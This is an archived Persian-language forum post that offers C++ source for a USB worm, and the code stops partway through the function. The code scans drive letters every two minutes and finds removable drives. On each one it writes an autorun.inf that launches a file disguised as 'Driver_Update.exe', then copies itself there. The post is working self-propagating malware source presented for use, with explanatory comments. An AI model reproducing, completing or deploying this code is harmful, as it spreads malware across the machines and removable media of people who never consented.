Parsi Coders

نسخه‌ی کامل: USB Worm C++
شما در حال مشاهده نسخه آرشیو هستید. برای مشاهده نسخه کامل کلیک کنید.
سورس زیر که با سی پلاس پلاس نوشته شده است برای تکثر کرم یا همان worm شما در حافظه حانی مثل usb یا فلش دیسک ...
کد:
#include <windows.h>
#include <stdio.h>
#define IMSG "WORM"
using namespace std;

char me[1024];
HKEY hKey;
char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                  "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                  "W:","X:","Y:","Z:"};
DWORD WINAPI spreadUSB()
{
    while(1)
    {
        Sleep(120000);
        int i;
        for(i = 0;i < 24;i++)
        {
            if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
            {
                char hldPath[50];
                char usbFile[30] = "\\Driver_Update.exe";
                char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
                strcpy(hldPath,drives[i]); // copy the path of the drive to the array hldPath
                strcat(hldPath,"\\autorun.inf"); //copy \\autorun.inf to the end of the previous array
                
                /* Can be imagined the previous two lines creates the string
                 * f:\\autorun.inf
                */
                          
                FILE *fp = fopen("autorun.inf","w"); //sets (creates)fp to be the file autorun.inf and opens with write permissions.
                fprintf(fp,autoRun); // writes the string
                fclose(fp); //closes the file fp
                CopyFile("autorun.inf",hldPath,0); // copy's file autorun.inf to the path in the array hldPath, 0 << means it will overwrite if exists.
                remove("autorun.inf"); // removes created file (leaves replaced file)
                strcat(drives[i],usbFile); //concatinates the char drives[i] with the string usbFile, giving a result like e:\\Driver_Update.exe
                CopyFile(me,drives[i],0); //Copy this whole file to the usb drive. Using the contatination above as the directory